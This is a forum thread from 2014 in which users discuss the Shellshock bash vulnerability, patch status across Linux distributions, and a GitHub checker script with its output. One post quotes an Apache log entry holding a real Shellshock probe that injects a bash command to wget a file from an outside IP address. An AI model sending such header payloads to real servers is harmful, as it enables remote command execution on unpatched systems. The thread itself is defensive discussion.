Bash bug can let others take over your computer

[Snorkasaurus]

Strange... I just tried it on a x64 box and it reports the same version but does not present the date.

S.

[viking60]

Yes that could be it
The patches must be mainly directed to 64bit since that is where the most servers are. Private users are not that vulnerable; that is why Apple has not even reacted yet.

[viking60]

Here is the Shellshock (bash bug) for dummies explanation. I think it makes this understandable for "normal" people.

An I love that last remark:

I hope you do not take advise from some guy on Youtube

[Snorkasaurus]

Here's an entry from my Win32 Apache logs from a couple of hours ago... people can be such assholes.

Code: Select all

82.221.128.246 - - [29/Sep/2014:14:03:03 -0400] "GET / HTTP/1.1" 200 53 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""

S.

[viking60]

Here is a bash-check from Github:

https://github.com/hannob/bashcheck/blo ... /bashcheck
Just do this and run it to check

Code: Select all

wget https://raw.githubusercontent.com/hannob/bashcheck/master/bashcheck -O bashcheck.sh && chmod +x bashcheck.sh

(The script might be updated so it makes sense to repeat the command from time to time).

./bashcheck.sh will run it - it will look something like this:

The script will check for:

CVE-2014-6271
The original vulnerability.

https://cve.mitre.org/cgi-bin/cvename.c ... -2014-6271
CVE-2014-7169
Further parser error, found by Tavis Ormandy (taviso).

https://twitter.com/taviso/status/514887394294652929
https://cve.mitre.org/cgi-bin/cvename.c ... -2014-7169
CVE-2014-7186
Out of bound memory read error in redir_stack.

http://seclists.org/oss-sec/2014/q3/712
https://cve.mitre.org/cgi-bin/cvename.c ... -2014-7186
CVE-2014-7187
Off-by-one error in nested loops. (check only works when Bash is built with -fsanitize=address)

http://seclists.org/oss-sec/2014/q3/712
https://cve.mitre.org/cgi-bin/cvename.c ... -2014-7187
CVE-2014-6277
Uninitialized Memory use in make_redirect(), found by Michal Zalewski (lcamtuf).

http://lcamtuf.blogspot.de/2014/10/bash ... acked.html
https://cve.mitre.org/cgi-bin/cvename.c ... -2014-6277
CVE-2014-6278
Another parser bug, analysis still incomplete, also found by Michal Zalewski (lcamtuf).

http://lcamtuf.blogspot.de/2014/10/bash ... acked.html
https://cve.mitre.org/cgi-bin/cvename.c ... -2014-6278

Manjaro is still "vulnerable" to the last two (not so serious ones - since they cannot be exploited remotely) as is Debian 7. Centos 6.5 has fixed CVE-2014-6278 so they are in the lead.

Bash is getting a good check here - so other things might turn up.
But the serious one -Shellshock - is fixed on all Linux distros (that I have tested) so the vulnerability the press has been feasting on - is gone!

If you run rkhunter (rootkit detection program) then you will get a warning regarding bash - which is only normal - so you can reset it with

Code: Select all

sudo rkhunter --propupd

[viking60]

.A follow up:
Manjaro and Arch are now completely fixed:

Code: Select all

./bashchek.sh

and it reports:

Code: Select all

[viking@viking60-server ~]$ ./bashcheck.sh
Testing /usr/bin/bash ...
GNU bash, version 4.3.30(1)-release (x86_64-unknown-linux-gnu)

Variable function parser pre/suffixed [%%, upstream], bugs not exploitable
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
Not vulnerable to CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Not vulnerable to CVE-2014-6277 (lcamtuf bug #1)
Not vulnerable to CVE-2014-6278 (lcamtuf bug #2)


checking "the others" now
Debian 7 does still report

Code: Select all

Found non-exploitable CVE-2014-6277 (lcamtuf bug #1)
Found non-exploitable CVE-2014-6278 (lcamtuf bug #2)

So they have not come as far as Arch and Manjaro - but it is no dangerous bug so..

Mageia is all good. Centos 6.5 does still report

Code: Select all

Found non-exploitable CVE-2014-6277 (lcamtuf bug #1)


which is a no problem bug...
In OpenSUSE 13.2RC both of the bottom vulnerabilities are still open (again; no biggie)

I very much suspect that the bottom two bugs do provide some functionality that server customers rely upon - heavy server distros like Centos Debian and SUSE are very much aware of the bugs - so I doubt that it is an oversight. Patching them could maybe cause more problems than leaving them?